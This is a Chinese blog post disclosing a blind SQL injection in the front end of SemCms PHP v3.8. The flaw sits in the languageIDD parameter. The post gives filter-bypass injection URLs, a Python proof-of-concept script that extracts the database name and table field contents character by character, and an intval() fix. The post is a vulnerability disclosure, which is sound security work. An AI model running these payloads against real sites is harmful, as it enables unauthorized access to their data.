semcms_php_v3.8 前台鸡肋sql注入

0x00 前言

SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
官网:http://www.sem-cms.com/
审计版本为最新php版 v3.8

0x01 鸡肋sql注入

首先查看index.php

引入了web_inc.php,跟进查看,发现第一处sql查询

可以看到language变量未用引号包裹,但是在此之前使用verify_str()函数对传入的参数进行了处理。
跟进发现是过滤函数,对常用sql语句进行了过滤

针对过滤函数,可以发现可以对其进行sql盲注。
其中 = 可以使用like绕过
构造注入语句

1
http://127.0.0.1/semcms_php_v3.8/?languageIDD=1 and greatest(length(database()),0) like 1


1
http://127.0.0.1/semcms_php_v3.8/?languageIDD=1 and greatest(length(database()),0) like 5


可以看到存在明显注入并得到数据库长度
但是这里比较鸡肋的是,因为过滤函数过滤了select。导致无法深层次的获取数据库内容,只能获取database(),’user()’,’version()’等信息。

0x03 鸡肋放大

这里虽然无法使用select语句获取更多信息,但也不局限于database()等信息。
可以通过盲注获取当前表即其查询的sc_tagandseo表内其他字段内容。
因为该cms安装数据库时为自动安装,所以所有字段名都可以得到。

这里以tag_newkey为例
http://127.0.0.1/semcms_php_v3.8/?languageIDD=1%20and%20greatest(ascii(substr(tag_newkey,1,1)),0)%20like%201

http://127.0.0.1/semcms_php_v3.8/?languageIDD=1%20and%20greatest(ascii(substr(tag_newkey,1,1)),0)%20like%20110

页面返回不同证明了可以进行注入。

这里其实只是证明可以通过注入获取数据,然而从该表注入出的数据并没有什么卵用。
既然绕过了其过滤函数,继续全局搜索,看看其他表是否存在类似注入,稍微搜一下,发现sc_email`sc_msg`等多个表的查询还是有类似情况的,这几个表的信息还是比较丰富的,没有继续深究,诸位可继续深入挖掘。

0x04 poc

上面提到的简单exp,可供测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests 
#[+]author by boogle
#[+]blog: https://boogle.github.io
url = 'http://127.0.0.1/semcms_php_v3.8/?languageIDD=1'
payload_len = ' and greatest(length(database()),0) like {0}'
payload_database = '%20and%20greatest(ascii(substr(database(),{0},1)),0)%20like%20{1}'
payload_tag = '%20and%20greatest(ascii(substr(tag_newkey,{0},1)),0)%20like%20{1}'
#获取数据库长度
for i in range(0,16):
payload = url+payload_len.format(str(i))
#print payload
res = requests.get(payload)
if 'About Us' in res.text:
print '[+] The databse length is '+str(i)
length = i
break
# 获取数据库
databse = ''
for i in range(1,length+1):
for j in xrange(0,128):
payload = url + payload_database.format(str(i),str(j))
res = requests.get(payload)
if 'About Us' in res.text:
databse += chr(j)
print '[+] Payloading :'+databse
break

print '[+] The databse is '+databse
#获取tag_newkey字段内容
tag=''
for i in range(1,5):
for j in xrange(0,128):
payload = url + payload_tag.format(str(i),str(j))
res = requests.get(payload)
if 'We main manufacturer' in res.text:
tag += chr(j)
print '[+] Payloading :'+tag
break
print '[+]tag_newkey '+tag

0x05 修复方案

传入的int类型参数使用intval()函数强制类型转换。

本文标题:semcms_php_v3.8 前台鸡肋sql注入

文章作者:boogle

发布时间:2019年03月14日 - 21:16

最后更新:2019年03月25日 - 08:35

原始链接:https://zhengbao.wang/semcms-php-v3-8-前台鸡肋sql注入/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗